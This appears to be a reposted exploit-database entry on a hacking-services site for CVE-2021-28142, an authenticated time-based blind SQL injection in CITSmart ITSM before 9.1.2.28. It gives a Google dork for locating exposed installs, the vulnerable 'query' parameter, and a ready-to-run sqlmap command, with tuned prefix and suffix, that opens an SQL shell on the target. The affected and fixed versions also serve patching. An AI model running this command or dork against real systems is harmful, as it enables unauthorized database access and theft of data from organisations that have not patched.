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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)
# Google Dork: "citsmart.local"
# Date: 11/03/2021
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.28
# CVE : CVE-2021-28142

To exploit this flaw it is necessary to be authenticated.

URL vulnerable:
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale
Param vulnerable: query

Sqlmap usage:  sqlmap -u "
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix "')" --suffix "AND ('abc%'='abc" --sql-shell

Affected versions: < 9.1.2.28
Fixed versions: >= 9.1.2.28

Vendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)